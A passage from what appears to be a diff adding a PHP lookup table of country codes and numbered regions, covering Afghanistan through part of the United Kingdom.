"Umm Al Quwain"), +"AF" => array( + "01" => "Badakhshan", + "02" => "Badghis", + "03" => "Baghlan", + "05" => "Bamian", + "06" => "Farah", + "07" => "Faryab", + "08" => "Ghazni", + "09" => "Ghowr", + "10" => "Helmand", + "11" => "Herat", + "13" => "Kabol", + "14" => "Kapisa", + "17" => "Lowgar", + "18" => "Nangarhar", + "19" => "Nimruz", + "23" => "Kandahar", + "24" => "Kondoz", + "26" => "Takhar", + "27" => "Vardak", + "28" => "Zabol", + "29" => "Paktika", + "30" => "Balkh", + "31" => "Jowzjan", + "32" => "Samangan", + "33" => "Sar-e Pol", + "34" => "Konar", + "35" => "Laghman", + "36" => "Paktia", + "37" => "Khowst", + "38" => "Nurestan", + "39" => "Oruzgan", + "40" => "Parvan", + "41" => "Daykondi", + "42" => "Panjshir"), +"AG" => array( + "01" => "Barbuda", + "03" => "Saint George", + "04" => "Saint John", + "05" => "Saint Mary", + "06" => "Saint Paul", + "07" => "Saint Peter", + "08" => "Saint Philip", + "09" => "Redonda"), +"AL" => array( + "40" => "Berat", + "41" => "Diber", + "42" => "Durres", + "43" => "Elbasan", + "44" => "Fier", + "45" => "Gjirokaster", + "46" => "Korce", + "47" => "Kukes", + "48" => "Lezhe", + "49" => "Shkoder", + "50" => "Tirane", + "51" => "Vlore"), +"AM" => array( + "01" => "Aragatsotn", + "02" => "Ararat", + "03" => "Armavir", + "04" => "Geghark'unik'", + "05" => "Kotayk'", + "06" => "Lorri", + "07" => "Shirak", + "08" => "Syunik'", + "09" => "Tavush", + "10" => "Vayots' Dzor", + "11" => "Yerevan"), +"AO" => array( + "01" => "Benguela", + "02" => "Bie", + "03" => "Cabinda", + "04" => "Cuando Cubango", + "05" => "Cuanza Norte", + "06" => "Cuanza Sul", + "07" => "Cunene", + "08" => "Huambo", + "09" => "Huila", + "12" => "Malanje", + "13" => "Namibe", + "14" => "Moxico", + "15" => "Uige", + "16" => "Zaire", + "17" => "Lunda Norte", + "18" => "Lunda Sul", + "19" => "Bengo", + "20" => "Luanda"), +"AR" => array( + "01" => "Buenos Aires", + "02" => "Catamarca", + "03" => "Chaco", + "04" => "Chubut", + "05" => "Cordoba", + "06" => "Corrientes", + "07" => "Distrito Federal", + "08" => "Entre Rios", + "09" => "Formosa", + "10" => "Jujuy", + "11" => "La Pampa", + "12" => "La Rioja", + "13" => "Mendoza", + "14" => "Misiones", + "15" => "Neuquen", + "16" => "Rio Negro", + "17" => "Salta", + "18" => "San Juan", + "19" => "San Luis", + "20" => "Santa Cruz", + "21" => "Santa Fe", + "22" => "Santiago del Estero", + "23" => "Tierra del Fuego", + "24" => "Tucuman"), +"AT" => array( + "01" => "Burgenland", + "02" => "Karnten", + "03" => "Niederosterreich", + "04" => "Oberosterreich", + "05" => "Salzburg", + "06" => "Steiermark", + "07" => "Tirol", + "08" => "Vorarlberg", + "09" => "Wien"), +"AU" => array( + "01" => "Australian Capital Territory", + "02" => "New South Wales", + "03" => "Northern Territory", + "04" => "Queensland", + "05" => "South Australia", + "06" => "Tasmania", + "07" => "Victoria", + "08" => "Western Australia"), +"AZ" => array( + "01" => "Abseron", + "02" => "Agcabadi", + "03" => "Agdam", + "04" => "Agdas", + "05" => "Agstafa", + "06" => "Agsu", + "07" => "Ali Bayramli", + "08" => "Astara", + "09" => "Baki", + "10" => "Balakan", + "11" => "Barda", + "12" => "Beylaqan", + "13" => "Bilasuvar", + "14" => "Cabrayil", + "15" => "Calilabad", + "16" => "Daskasan", + "17" => "Davaci", + "18" => "Fuzuli", + "19" => "Gadabay", + "20" => "Ganca", + "21" => "Goranboy", + "22" => "Goycay", + "23" => "Haciqabul", + "24" => "Imisli", + "25" => "Ismayilli", + "26" => "Kalbacar", + "27" => "Kurdamir", + "28" => "Lacin", + "29" => "Lankaran", + "30" => "Lankaran", + "31" => "Lerik", + "32" => "Masalli", + "33" => "Mingacevir", + "34" => "Naftalan", + "35" => "Naxcivan", + "36" => "Neftcala", + "37" => "Oguz", + "38" => "Qabala", + "39" => "Qax", + "40" => "Qazax", + "41" => "Qobustan", + "42" => "Quba", + "43" => "Qubadli", + "44" => "Qusar", + "45" => "Saatli", + "46" => "Sabirabad", + "47" => "Saki", + "48" => "Saki", + "49" => "Salyan", + "50" => "Samaxi", + "51" => "Samkir", + "52" => "Samux", + "53" => "Siyazan", + "54" => "Sumqayit", + "55" => "Susa", + "56" => "Susa", + "57" => "Tartar", + "58" => "Tovuz", + "59" => "Ucar", + "60" => "Xacmaz", + "61" => "Xankandi", + "62" => "Xanlar", + "63" => "Xizi", + "64" => "Xocali", + "65" => "Xocavand", + "66" => "Yardimli", + "67" => "Yevlax", + "68" => "Yevlax", + "69" => "Zangilan", + "70" => "Zaqatala", + "71" => "Zardab"), +"BA" => array( + "01" => "Federation of Bosnia and Herzegovina", + "02" => "Republika Srpska"), +"BB" => array( + "01" => "Christ Church", + "02" => "Saint Andrew", + "03" => "Saint George", + "04" => "Saint James", + "05" => "Saint John", + "06" => "Saint Joseph", + "07" => "Saint Lucy", + "08" => "Saint Michael", + "09" => "Saint Peter", + "10" => "Saint Philip", + "11" => "Saint Thomas"), +"BD" => array( + "81" => "Dhaka", + "82" => "Khulna", + "83" => "Rajshahi", + "84" => "Chittagong", + "85" => "Barisal", + "86" => "Sylhet"), +"BE" => array( + "01" => "Antwerpen", + "03" => "Hainaut", + "04" => "Liege", + "05" => "Limburg", + "06" => "Luxembourg", + "07" => "Namur", + "08" => "Oost-Vlaanderen", + "09" => "West-Vlaanderen", + "10" => "Brabant Wallon", + "11" => "Brussels Hoofdstedelijk Gewest", + "12" => "Vlaams-Brabant", + "13" => "Flanders", + "14" => "Wallonia"), +"BF" => array( + "15" => "Bam", + "19" => "Boulkiemde", + "20" => "Ganzourgou", + "21" => "Gnagna", + "28" => "Kouritenga", + "33" => "Oudalan", + "34" => "Passore", + "36" => "Sanguie", + "40" => "Soum", + "42" => "Tapoa", + "44" => "Zoundweogo", + "45" => "Bale", + "46" => "Banwa", + "47" => "Bazega", + "48" => "Bougouriba", + "49" => "Boulgou", + "50" => "Gourma", + "51" => "Houet", + "52" => "Ioba", + "53" => "Kadiogo", + "54" => "Kenedougou", + "55" => "Komoe", + "56" => "Komondjari", + "57" => "Kompienga", + "58" => "Kossi", + "59" => "Koulpelogo", + "60" => "Kourweogo", + "61" => "Leraba", + "62" => "Loroum", + "63" => "Mouhoun", + "64" => "Namentenga", + "65" => "Naouri", + "66" => "Nayala", + "67" => "Noumbiel", + "68" => "Oubritenga", + "69" => "Poni", + "70" => "Sanmatenga", + "71" => "Seno", + "72" => "Sissili", + "73" => "Sourou", + "74" => "Tuy", + "75" => "Yagha", + "76" => "Yatenga", + "77" => "Ziro", + "78" => "Zondoma"), +"BG" => array( + "33" => "Mikhaylovgrad", + "38" => "Blagoevgrad", + "39" => "Burgas", + "40" => "Dobrich", + "41" => "Gabrovo", + "42" => "Grad Sofiya", + "43" => "Khaskovo", + "44" => "Kurdzhali", + "45" => "Kyustendil", + "46" => "Lovech", + "47" => "Montana", + "48" => "Pazardzhik", + "49" => "Pernik", + "50" => "Pleven", + "51" => "Plovdiv", + "52" => "Razgrad", + "53" => "Ruse", + "54" => "Shumen", + "55" => "Silistra", + "56" => "Sliven", + "57" => "Smolyan", + "58" => "Sofiya", + "59" => "Stara Zagora", + "60" => "Turgovishte", + "61" => "Varna", + "62" => "Veliko Turnovo", + "63" => "Vidin", + "64" => "Vratsa", + "65" => "Yambol"), +"BH" => array( + "01" => "Al Hadd", + "02" => "Al Manamah", + "05" => "Jidd Hafs", + "06" => "Sitrah", + "08" => "Al Mintaqah al Gharbiyah", + "09" => "Mintaqat Juzur Hawar", + "10" => "Al Mintaqah ash Shamaliyah", + "11" => "Al Mintaqah al Wusta", + "12" => "Madinat", + "13" => "Ar Rifa", + "14" => "Madinat Hamad", + "15" => "Al Muharraq", + "16" => "Al Asimah", + "17" => "Al Janubiyah", + "18" => "Ash Shamaliyah", + "19" => "Al Wusta"), +"BI" => array( + "02" => "Bujumbura", + "09" => "Bubanza", + "10" => "Bururi", + "11" => "Cankuzo", + "12" => "Cibitoke", + "13" => "Gitega", + "14" => "Karuzi", + "15" => "Kayanza", + "16" => "Kirundo", + "17" => "Makamba", + "18" => "Muyinga", + "19" => "Ngozi", + "20" => "Rutana", + "21" => "Ruyigi", + "22" => "Muramvya", + "23" => "Mwaro"), +"BJ" => array( + "07" => "Alibori", + "08" => "Atakora", + "09" => "Atlanyique", + "10" => "Borgou", + "11" => "Collines", + "12" => "Kouffo", + "13" => "Donga", + "14" => "Littoral", + "15" => "Mono", + "16" => "Oueme", + "17" => "Plateau", + "18" => "Zou"), +"BM" => array( + "01" => "Devonshire", + "02" => "Hamilton", + "03" => "Hamilton", + "04" => "Paget", + "05" => "Pembroke", + "06" => "Saint George", + "07" => "Saint George's", + "08" => "Sandys", + "09" => "Smiths", + "10" => "Southampton", + "11" => "Warwick"), +"BN" => array( + "07" => "Alibori", + "08" => "Belait", + "09" => "Brunei and Muara", + "10" => "Temburong", + "11" => "Collines", + "12" => "Kouffo", + "13" => "Donga", + "14" => "Littoral", + "15" => "Tutong", + "16" => "Oueme", + "17" => "Plateau", + "18" => "Zou"), +"BO" => array( + "01" => "Chuquisaca", + "02" => "Cochabamba", + "03" => "El Beni", + "04" => "La Paz", + "05" => "Oruro", + "06" => "Pando", + "07" => "Potosi", + "08" => "Santa Cruz", + "09" => "Tarija"), +"BR" => array( + "01" => "Acre", + "02" => "Alagoas", + "03" => "Amapa", + "04" => "Amazonas", + "05" => "Bahia", + "06" => "Ceara", + "07" => "Distrito Federal", + "08" => "Espirito Santo", + "11" => "Mato Grosso do Sul", + "13" => "Maranhao", + "14" => "Mato Grosso", + "15" => "Minas Gerais", + "16" => "Para", + "17" => "Paraiba", + "18" => "Parana", + "20" => "Piaui", + "21" => "Rio de Janeiro", + "22" => "Rio Grande do Norte", + "23" => "Rio Grande do Sul", + "24" => "Rondonia", + "25" => "Roraima", + "26" => "Santa Catarina", + "27" => "Sao Paulo", + "28" => "Sergipe", + "29" => "Goias", + "30" => "Pernambuco", + "31" => "Tocantins"), +"BS" => array( + "05" => "Bimini", + "06" => "Cat Island", + "10" => "Exuma", + "13" => "Inagua", + "15" => "Long Island", + "16" => "Mayaguana", + "18" => "Ragged Island", + "22" => "Harbour Island", + "23" => "New Providence", + "24" => "Acklins and Crooked Islands", + "25" => "Freeport", + "26" => "Fresh Creek", + "27" => "Governor's Harbour", + "28" => "Green Turtle Cay", + "29" => "High Rock", + "30" => "Kemps Bay", + "31" => "Marsh Harbour", + "32" => "Nichollstown and Berry Islands", + "33" => "Rock Sound", + "34" => "Sandy Point", + "35" => "San Salvador and Rum Cay"), +"BT" => array( + "05" => "Bumthang", + "06" => "Chhukha", + "07" => "Chirang", + "08" => "Daga", + "09" => "Geylegphug", + "10" => "Ha", + "11" => "Lhuntshi", + "12" => "Mongar", + "13" => "Paro", + "14" => "Pemagatsel", + "15" => "Punakha", + "16" => "Samchi", + "17" => "Samdrup", + "18" => "Shemgang", + "19" => "Tashigang", + "20" => "Thimphu", + "21" => "Tongsa", + "22" => "Wangdi Phodrang"), +"BW" => array( + "01" => "Central", + "03" => "Ghanzi", + "04" => "Kgalagadi", + "05" => "Kgatleng", + "06" => "Kweneng", + "08" => "North-East", + "09" => "South-East", + "10" => "Southern", + "11" => "North-West"), +"BY" => array( + "01" => "Brestskaya Voblasts'", + "02" => "Homyel'skaya Voblasts'", + "03" => "Hrodzyenskaya Voblasts'", + "04" => "Minsk", + "05" => "Minskaya Voblasts'", + "06" => "Mahilyowskaya Voblasts'", + "07" => "Vitsyebskaya Voblasts'"), +"BZ" => array( + "01" => "Belize", + "02" => "Cayo", + "03" => "Corozal", + "04" => "Orange Walk", + "05" => "Stann Creek", + "06" => "Toledo"), +"CA" => array( + "AB" => "Alberta", + "BC" => "British Columbia", + "MB" => "Manitoba", + "NB" => "New Brunswick", + "NL" => "Newfoundland", + "NS" => "Nova Scotia", + "NT" => "Northwest Territories", + "NU" => "Nunavut", + "ON" => "Ontario", + "PE" => "Prince Edward Island", + "QC" => "Quebec", + "SK" => "Saskatchewan", + "YT" => "Yukon Territory"), +"CD" => array( + "01" => "Bandundu", + "02" => "Equateur", + "04" => "Kasai-Oriental", + "05" => "Katanga", + "06" => "Kinshasa", + "08" => "Bas-Congo", + "09" => "Orientale", + "10" => "Maniema", + "11" => "Nord-Kivu", + "12" => "Sud-Kivu"), +"CF" => array( + "01" => "Bamingui-Bangoran", + "02" => "Basse-Kotto", + "03" => "Haute-Kotto", + "04" => "Mambere-Kadei", + "05" => "Haut-Mbomou", + "06" => "Kemo", + "07" => "Lobaye", + "08" => "Mbomou", + "09" => "Nana-Mambere", + "11" => "Ouaka", + "12" => "Ouham", + "13" => "Ouham-Pende", + "14" => "Cuvette-Ouest", + "15" => "Nana-Grebizi", + "16" => "Sangha-Mbaere", + "17" => "Ombella-Mpoko", + "18" => "Bangui"), +"CG" => array( + "01" => "Bouenza", + "04" => "Kouilou", + "05" => "Lekoumou", + "06" => "Likouala", + "07" => "Niari", + "08" => "Plateaux", + "10" => "Sangha", + "11" => "Pool", + "12" => "Brazzaville", + "13" => "Cuvette", + "14" => "Cuvette-Ouest"), +"CH" => array( + "01" => "Aargau", + "02" => "Ausser-Rhoden", + "03" => "Basel-Landschaft", + "04" => "Basel-Stadt", + "05" => "Bern", + "06" => "Fribourg", + "07" => "Geneve", + "08" => "Glarus", + "09" => "Graubunden", + "10" => "Inner-Rhoden", + "11" => "Luzern", + "12" => "Neuchatel", + "13" => "Nidwalden", + "14" => "Obwalden", + "15" => "Sankt Gallen", + "16" => "Schaffhausen", + "17" => "Schwyz", + "18" => "Solothurn", + "19" => "Thurgau", + "20" => "Ticino", + "21" => "Uri", + "22" => "Valais", + "23" => "Vaud", + "24" => "Zug", + "25" => "Zurich", + "26" => "Jura"), +"CI" => array( + "74" => "Agneby", + "75" => "Bafing", + "76" => "Bas-Sassandra", + "77" => "Denguele", + "78" => "Dix-Huit Montagnes", + "79" => "Fromager", + "80" => "Haut-Sassandra", + "81" => "Lacs", + "82" => "Lagunes", + "83" => "Marahoue", + "84" => "Moyen-Cavally", + "85" => "Moyen-Comoe", + "86" => "N'zi-Comoe", + "87" => "Savanes", + "88" => "Sud-Bandama", + "89" => "Sud-Comoe", + "90" => "Vallee du Bandama", + "91" => "Worodougou", + "92" => "Zanzan"), +"CL" => array( + "01" => "Valparaiso", + "02" => "Aisen del General Carlos Ibanez del Campo", + "03" => "Antofagasta", + "04" => "Araucania", + "05" => "Atacama", + "06" => "Bio-Bio", + "07" => "Coquimbo", + "08" => "Libertador General Bernardo O'Higgins", + "09" => "Los Lagos", + "10" => "Magallanes y de la Antartica Chilena", + "11" => "Maule", + "12" => "Region Metropolitana", + "13" => "Tarapaca", + "14" => "Los Lagos", + "15" => "Tarapaca", + "16" => "Arica y Parinacota", + "17" => "Los Rios"), +"CM" => array( + "04" => "Est", + "05" => "Littoral", + "07" => "Nord-Ouest", + "08" => "Ouest", + "09" => "Sud-Ouest", + "10" => "Adamaoua", + "11" => "Centre", + "12" => "Extreme-Nord", + "13" => "Nord", + "14" => "Sud"), +"CN" => array( + "01" => "Anhui", + "02" => "Zhejiang", + "03" => "Jiangxi", + "04" => "Jiangsu", + "05" => "Jilin", + "06" => "Qinghai", + "07" => "Fujian", + "08" => "Heilongjiang", + "09" => "Henan", + "10" => "Hebei", + "11" => "Hunan", + "12" => "Hubei", + "13" => "Xinjiang", + "14" => "Xizang", + "15" => "Gansu", + "16" => "Guangxi", + "18" => "Guizhou", + "19" => "Liaoning", + "20" => "Nei Mongol", + "21" => "Ningxia", + "22" => "Beijing", + "23" => "Shanghai", + "24" => "Shanxi", + "25" => "Shandong", + "26" => "Shaanxi", + "28" => "Tianjin", + "29" => "Yunnan", + "30" => "Guangdong", + "31" => "Hainan", + "32" => "Sichuan", + "33" => "Chongqing"), +"CO" => array( + "01" => "Amazonas", + "02" => "Antioquia", + "03" => "Arauca", + "04" => "Atlantico", + "08" => "Caqueta", + "09" => "Cauca", + "10" => "Cesar", + "11" => "Choco", + "12" => "Cordoba", + "14" => "Guaviare", + "15" => "Guainia", + "16" => "Huila", + "17" => "La Guajira", + "19" => "Meta", + "20" => "Narino", + "21" => "Norte de Santander", + "22" => "Putumayo", + "23" => "Quindio", + "24" => "Risaralda", + "25" => "San Andres y Providencia", + "26" => "Santander", + "27" => "Sucre", + "28" => "Tolima", + "29" => "Valle del Cauca", + "30" => "Vaupes", + "31" => "Vichada", + "32" => "Casanare", + "33" => "Cundinamarca", + "34" => "Distrito Especial", + "35" => "Bolivar", + "36" => "Boyaca", + "37" => "Caldas", + "38" => "Magdalena"), +"CR" => array( + "01" => "Alajuela", + "02" => "Cartago", + "03" => "Guanacaste", + "04" => "Heredia", + "06" => "Limon", + "07" => "Puntarenas", + "08" => "San Jose"), +"CU" => array( + "01" => "Pinar del Rio", + "02" => "Ciudad de la Habana", + "03" => "Matanzas", + "04" => "Isla de la Juventud", + "05" => "Camaguey", + "07" => "Ciego de Avila", + "08" => "Cienfuegos", + "09" => "Granma", + "10" => "Guantanamo", + "11" => "La Habana", + "12" => "Holguin", + "13" => "Las Tunas", + "14" => "Sancti Spiritus", + "15" => "Santiago de Cuba", + "16" => "Villa Clara"), +"CV" => array( + "01" => "Boa Vista", + "02" => "Brava", + "04" => "Maio", + "05" => "Paul", + "07" => "Ribeira Grande", + "08" => "Sal", + "10" => "Sao Nicolau", + "11" => "Sao Vicente", + "13" => "Mosteiros", + "14" => "Praia", + "15" => "Santa Catarina", + "16" => "Santa Cruz", + "17" => "Sao Domingos", + "18" => "Sao Filipe", + "19" => "Sao Miguel", + "20" => "Tarrafal"), +"CY" => array( + "01" => "Famagusta", + "02" => "Kyrenia", + "03" => "Larnaca", + "04" => "Nicosia", + "05" => "Limassol", + "06" => "Paphos"), +"CZ" => array( + "52" => "Hlavni mesto Praha", + "78" => "Jihomoravsky kraj", + "79" => "Jihocesky kraj", + "80" => "Vysocina", + "81" => "Karlovarsky kraj", + "82" => "Kralovehradecky kraj", + "83" => "Liberecky kraj", + "84" => "Olomoucky kraj", + "85" => "Moravskoslezsky kraj", + "86" => "Pardubicky kraj", + "87" => "Plzensky kraj", + "88" => "Stredocesky kraj", + "89" => "Ustecky kraj", + "90" => "Zlinsky kraj"), +"DE" => array( + "01" => "Baden-Wurttemberg", + "02" => "Bayern", + "03" => "Bremen", + "04" => "Hamburg", + "05" => "Hessen", + "06" => "Niedersachsen", + "07" => "Nordrhein-Westfalen", + "08" => "Rheinland-Pfalz", + "09" => "Saarland", + "10" => "Schleswig-Holstein", + "11" => "Brandenburg", + "12" => "Mecklenburg-Vorpommern", + "13" => "Sachsen", + "14" => "Sachsen-Anhalt", + "15" => "Thuringen", + "16" => "Berlin"), +"DJ" => array( + "01" => "Ali Sabieh", + "04" => "Obock", + "05" => "Tadjoura", + "06" => "Dikhil", + "07" => "Djibouti", + "08" => "Arta"), +"DK" => array( + "17" => "Hovedstaden", + "18" => "Midtjylland", + "19" => "Nordjylland", + "20" => "Sjelland", + "21" => "Syddanmark"), +"DM" => array( + "02" => "Saint Andrew", + "03" => "Saint David", + "04" => "Saint George", + "05" => "Saint John", + "06" => "Saint Joseph", + "07" => "Saint Luke", + "08" => "Saint Mark", + "09" => "Saint Patrick", + "10" => "Saint Paul", + "11" => "Saint Peter"), +"DO" => array( + "01" => "Azua", + "02" => "Baoruco", + "03" => "Barahona", + "04" => "Dajabon", + "05" => "Distrito Nacional", + "06" => "Duarte", + "08" => "Espaillat", + "09" => "Independencia", + "10" => "La Altagracia", + "11" => "Elias Pina", + "12" => "La Romana", + "14" => "Maria Trinidad Sanchez", + "15" => "Monte Cristi", + "16" => "Pedernales", + "17" => "Peravia", + "18" => "Puerto Plata", + "19" => "Salcedo", + "20" => "Samana", + "21" => "Sanchez Ramirez", + "23" => "San Juan", + "24" => "San Pedro De Macoris", + "25" => "Santiago", + "26" => "Santiago Rodriguez", + "27" => "Valverde", + "28" => "El Seibo", + "29" => "Hato Mayor", + "30" => "La Vega", + "31" => "Monsenor Nouel", + "32" => "Monte Plata", + "33" => "San Cristobal", + "34" => "Distrito Nacional", + "35" => "Peravia", + "36" => "San Jose de Ocoa", + "37" => "Santo Domingo"), +"DZ" => array( + "01" => "Alger", + "03" => "Batna", + "04" => "Constantine", + "06" => "Medea", + "07" => "Mostaganem", + "09" => "Oran", + "10" => "Saida", + "12" => "Setif", + "13" => "Tiaret", + "14" => "Tizi Ouzou", + "15" => "Tlemcen", + "18" => "Bejaia", + "19" => "Biskra", + "20" => "Blida", + "21" => "Bouira", + "22" => "Djelfa", + "23" => "Guelma", + "24" => "Jijel", + "25" => "Laghouat", + "26" => "Mascara", + "27" => "M'sila", + "29" => "Oum el Bouaghi", + "30" => "Sidi Bel Abbes", + "31" => "Skikda", + "33" => "Tebessa", + "34" => "Adrar", + "35" => "Ain Defla", + "36" => "Ain Temouchent", + "37" => "Annaba", + "38" => "Bechar", + "39" => "Bordj Bou Arreridj", + "40" => "Boumerdes", + "41" => "Chlef", + "42" => "El Bayadh", + "43" => "El Oued", + "44" => "El Tarf", + "45" => "Ghardaia", + "46" => "Illizi", + "47" => "Khenchela", + "48" => "Mila", + "49" => "Naama", + "50" => "Ouargla", + "51" => "Relizane", + "52" => "Souk Ahras", + "53" => "Tamanghasset", + "54" => "Tindouf", + "55" => "Tipaza", + "56" => "Tissemsilt"), +"EC" => array( + "01" => "Galapagos", + "02" => "Azuay", + "03" => "Bolivar", + "04" => "Canar", + "05" => "Carchi", + "06" => "Chimborazo", + "07" => "Cotopaxi", + "08" => "El Oro", + "09" => "Esmeraldas", + "10" => "Guayas", + "11" => "Imbabura", + "12" => "Loja", + "13" => "Los Rios", + "14" => "Manabi", + "15" => "Morona-Santiago", + "17" => "Pastaza", + "18" => "Pichincha", + "19" => "Tungurahua", + "20" => "Zamora-Chinchipe", + "22" => "Sucumbios", + "23" => "Napo", + "24" => "Orellana"), +"EE" => array( + "01" => "Harjumaa", + "02" => "Hiiumaa", + "03" => "Ida-Virumaa", + "04" => "Jarvamaa", + "05" => "Jogevamaa", + "06" => "Kohtla-Jarve", + "07" => "Laanemaa", + "08" => "Laane-Virumaa", + "09" => "Narva", + "10" => "Parnu", + "11" => "Parnumaa", + "12" => "Polvamaa", + "13" => "Raplamaa", + "14" => "Saaremaa", + "15" => "Sillamae", + "16" => "Tallinn", + "17" => "Tartu", + "18" => "Tartumaa", + "19" => "Valgamaa", + "20" => "Viljandimaa", + "21" => "Vorumaa"), +"EG" => array( + "01" => "Ad Daqahliyah", + "02" => "Al Bahr al Ahmar", + "03" => "Al Buhayrah", + "04" => "Al Fayyum", + "05" => "Al Gharbiyah", + "06" => "Al Iskandariyah", + "07" => "Al Isma'iliyah", + "08" => "Al Jizah", + "09" => "Al Minufiyah", + "10" => "Al Minya", + "11" => "Al Qahirah", + "12" => "Al Qalyubiyah", + "13" => "Al Wadi al Jadid", + "14" => "Ash Sharqiyah", + "15" => "As Suways", + "16" => "Aswan", + "17" => "Asyut", + "18" => "Bani Suwayf", + "19" => "Bur Sa'id", + "20" => "Dumyat", + "21" => "Kafr ash Shaykh", + "22" => "Matruh", + "23" => "Qina", + "24" => "Suhaj", + "26" => "Janub Sina'", + "27" => "Shamal Sina'"), +"ER" => array( + "01" => "Anseba", + "02" => "Debub", + "03" => "Debubawi K'eyih Bahri", + "04" => "Gash Barka", + "05" => "Ma'akel", + "06" => "Semenawi K'eyih Bahri"), +"ES" => array( + "07" => "Islas Baleares", + "27" => "La Rioja", + "29" => "Madrid", + "31" => "Murcia", + "32" => "Navarra", + "34" => "Asturias", + "39" => "Cantabria", + "51" => "Andalucia", + "52" => "Aragon", + "53" => "Canarias", + "54" => "Castilla-La Mancha", + "55" => "Castilla y Leon", + "56" => "Catalonia", + "57" => "Extremadura", + "58" => "Galicia", + "59" => "Pais Vasco", + "60" => "Comunidad Valenciana"), +"ET" => array( + "44" => "Adis Abeba", + "45" => "Afar", + "46" => "Amara", + "47" => "Binshangul Gumuz", + "48" => "Dire Dawa", + "49" => "Gambela Hizboch", + "50" => "Hareri Hizb", + "51" => "Oromiya", + "52" => "Sumale", + "53" => "Tigray", + "54" => "YeDebub Biheroch Bihereseboch na Hizboch"), +"FI" => array( + "01" => "Aland", + "06" => "Lapland", + "08" => "Oulu", + "13" => "Southern Finland", + "14" => "Eastern Finland", + "15" => "Western Finland"), +"FJ" => array( + "01" => "Central", + "02" => "Eastern", + "03" => "Northern", + "04" => "Rotuma", + "05" => "Western"), +"FM" => array( + "01" => "Kosrae", + "02" => "Pohnpei", + "03" => "Chuuk", + "04" => "Yap"), +"FR" => array( + "97" => "Aquitaine", + "98" => "Auvergne", + "99" => "Basse-Normandie", + "A1" => "Bourgogne", + "A2" => "Bretagne", + "A3" => "Centre", + "A4" => "Champagne-Ardenne", + "A5" => "Corse", + "A6" => "Franche-Comte", + "A7" => "Haute-Normandie", + "A8" => "Ile-de-France", + "A9" => "Languedoc-Roussillon", + "B1" => "Limousin", + "B2" => "Lorraine", + "B3" => "Midi-Pyrenees", + "B4" => "Nord-Pas-de-Calais", + "B5" => "Pays de la Loire", + "B6" => "Picardie", + "B7" => "Poitou-Charentes", + "B8" => "Provence-Alpes-Cote d'Azur", + "B9" => "Rhone-Alpes", + "C1" => "Alsace"), +"GA" => array( + "01" => "Estuaire", + "02" => "Haut-Ogooue", + "03" => "Moyen-Ogooue", + "04" => "Ngounie", + "05" => "Nyanga", + "06" => "Ogooue-Ivindo", + "07" => "Ogooue-Lolo", + "08" => "Ogooue-Maritime", + "09" => "Woleu-Ntem"), +"GB" => array( + "A1" => "Barking and Dagenham", + "A2" => "Barnet", + "A3" => "Barnsley", + "A4" => "Bath and North East Somerset", + "A5" => "Bedfordshire", + "A6" => "Bexley", + "A7" => "Birmingham", + "A8" => "Blackburn with Darwen", + "A9" => "Blackpool", + "B1" => "Bolton", + "B2" => "Bournemouth", + "B3" => "Bracknell Forest", + "B4" => "Bradford", + "B5" => "Brent", + "B6" => "Brighton and Hove", + "B7" => "Bristol, City of", + "B8" => "Bromley", + "B9" => "Buckinghamshire", + "C1" => "Bury", + "C2" => "Calderdale", + "C3" => "Cambridgeshire", + "C4" => "Camden", + "C5" => "Cheshire", + "C6" => "Cornwall", + "C7" => "Coventry", + "C8" => "Croydon", + "C9" => "Cumbria", + "D1" => "Darlington", + "D2" => "Derby", + "D3" => "Derbyshire", + "D4" => "Devon", + "D5" => "Doncaster", + "D6" => "Dorset", + "D7" => "Dudley", + "D8" => "Durham", + "D9" => "Ealing", + "E1" => "East Riding of Yorkshire", + "E2" => "East Sussex", + "E3" => "Enfield", + "E4" => "Essex", + "E5" => "Gateshead", + "E6" => "Gloucestershire", + "E7" => "Greenwich", + "E8" => "Hackney", + "E9" => "Halton", + "F1" => "Hammersmith and Fulham", + "F2" => "Hampshire", + "F3" => "Haringey", + "F4" => "Harrow", + "F5" => "Hartlepool", + "F6" => "Havering", + "F7" => "Herefordshire", + "F8" => "Hertford", + "F9" => "Hillingdon", + "G1" => "Hounslow", + "G2" => "Isle of Wight", + "G3" => "Islington", + "G4" => "Kensington and Chelsea", + "G5" => "Kent", + "G6" => "Kingston upon Hull, City of", + "G7" => "Kingston upon Thames", + "G8" => "Kirklees", + "G9" => "Knowsley", + "H1" => "Lambeth", + "H2" => "Lancashire", + "H3" => "Leeds", + "H4" => "Leicester", + "H5" => "Leicestershire", + "H6" => "Lewisham", + "H7" => "Lincolnshire", + "H8" => "Liverpool", + "H9" => "London, City of", + "I1" => "Luton", + "I2" => "Manchester", + "I3" => "Medway", + "I4" => "Merton", + "I5" => "Middlesbrough", + "I6" => "Milton Keynes", + "I7" => "Newcastle upon Tyne", + "I8" => "Newham", + "I9" => "Norfolk", + "J1" => "Northamptonshire", + "J2" => "North East Lincolnshire", + "J3" => "North Lincolnshire", + "J4" => "North Somerset", + "J5" => "North Tyneside", + "J6" => "Northumberland", + "J7" => "North Yorkshire", + "J8" => "Nottingham", + "J9" => "Nottinghamshire", + "K1" => "Oldham", + "K2" => "Oxfordshire", + "K3" => "Peterborough", + "K4" => "Plymouth", + "K5" => "Poole", + "K6" => "Portsmouth", + "K7" => "Reading", + "K8" => "Redbridge", + "K9" => "Redcar and Cleveland", + "L1" => "Richmond upon Thames", + "L2" => "Rochdale", + "L3" => "Rotherham", + "L4" => "Rutland", + "L5" => "Salford", + "L6" => "Shropshire", + "L7" => "Sandwell", + "L8" => "Sefton", + "L9" => "Sheffield", + "M1" => "Slough", + "M2" => "Solihull", + "M3" => "Somerset", + "M4" => "Southampton", + "M5" => "Southend-on-Sea", + "M6" => "South Gloucestershire", + "M7" => "South Tyneside", + "M8" => "Southwark", + "M9" => "Staffordshire", + "N1" => "St. Helens", + "N2" => "Stockport", + "N3" => "Stockton-on-Tees", + "N4" => "Stoke-on-Trent", + "N5" => "Suffolk", + "N6" => "Sunderland", + "N7" => "Surrey", + "N8" => "Sutton", + "N9" => "Swindon", + "O1" => "Tameside", + "O2" => "Telford and Wrekin", + "O3" => "Thurrock", + "O4" => "Torbay", + "O5" => "Tower Hamlets", + "O6" => "Trafford", + "O7" => "Wakefield", + "O8" => "Walsall", + "O9" => "Waltham Forest", + "P1" => "Wandsworth", + "P2" => "Warrington", + "P3" => "Warwickshire", + "P4" => "West Berkshire", + "P5" => "Westminster", + "P6" => "West Sussex", + "P7" => "Wigan", + "P8" => "Wiltshire", + "P9" => "Windsor and Maidenhead", + "Q1" => "Wirral", + "Q2" => "Wokingham", + "Q3" => "Wolverhampton", + "Q4" => "Worcestershire", + 